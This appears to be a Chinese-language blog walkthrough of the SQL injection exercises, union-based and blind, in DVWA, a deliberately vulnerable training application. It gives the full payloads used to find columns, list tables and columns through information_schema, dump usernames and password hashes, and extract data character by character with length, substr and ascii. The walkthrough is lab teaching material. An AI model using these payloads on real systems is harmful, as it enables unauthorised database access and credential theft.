DVWA之sql注入(low)

SQL Injection

  • 判断是否存在注入

在这里插入图片描述
先尝试输入1,可以得到正常的回显

在这里插入图片描述
尝试输入User ID:1’,发现存在字符型注入漏洞
尝试字符型注入,输入1’ or’ 1’ =’ 1
在这里插入图片描述

  • 用order by判断列数,输入2时回显正常,输入1或3时报错,所以字段数为2
    在这里插入图片描述
  • 判断回显位置
    在这里插入图片描述
    输入11’ union select 1,2 #
  • 查看当前数据库名,输入11’ union select 1,database() #
    在这里插入图片描述
    可知当前数据库名为dvwa
  • 猜测表名,输入1’ union select 1,table_name from information_schema.tables where table_schema=database() #
    或者1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema = ‘dvwa’#
    在这里插入图片描述

此时可能会出现Illegal mix of collations for operation 'UNION’问题
在这里插入图片描述
是编码问题,去数据库修改

  • 获取字段名
    输入1’ union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘users’ #

在这里插入图片描述

  • 获取用户名和密码
    输入1’ union select user,password from users#
    在这里插入图片描述

SQL Injection(Blind)

  • 判断是否有注入
    先输入1,显示exists存在
    输入’ 时,显示MISSING不存在
    输入1’ and 1=2 #时,显示MISSING不存在
    说明存在字符型的SQL盲注
  • 猜解数据库名,使用二分法盲猜
    • 判断数据库名称长度,使用length()函数
      输入1’ and length(database())>15 #,显示MISSING,然后一直试下去
      最后输入1’ and length(database())=4 #,显示exists,说明该数据库长度为4
    • 判断数据库名称的字符组成元素,使用substr()函数ascii()函数
      substr(string string,num start,num length);string为字符串;start为起始位置;length为长度。
      输入1’ and ascii(substr(database(),1,1))>90 #时,显示exists,然后一直试下去
      最后输入1’ and ascii(substr(database(),1,1))=100 #时,显示exists。说明数据库名称首位字母为d
      以此类推,猜测数据库名称的其他三位字母,最后获取数据库名为dvwa
  • 猜解数据库表名
    • 猜解数据库中有几个表
      输入1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=1 #时,显示MISSING
      输入1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2 #时,显示exists
      说明当前数据库有两个表
    • 猜解表名长度
      输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=1 #时,显示MISSING,以此类推
      输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9 #时,显示exists,说明第一个表名长度为9
      输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=5 #时,显示exists,说明第二个表名长度为5
    • 猜解表名,和猜解数据库名方法一样
      输入1’ and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa’limit 0,1),1))=103 #,为g
      以此类推,猜解出两个表名为guestbook和users
  • 猜解表中的字段名
    • 猜解有几个字段
      输入1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 #时,显示MISSING,以此类推
      输入1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 #时,显示exists,说明users表存在八个字段
    • 猜解每列列名长度
      输入1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #,判断出第一列列名长度为7,以此类推
      输入1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=6 #,判断出第二列列名长度为6····
    • 猜解每列列名
      输入1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #,以此类推,猜解出所有的列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login
    • 猜解用户名
      1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #以此类推
      最终结果为admin,用户名为admin
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值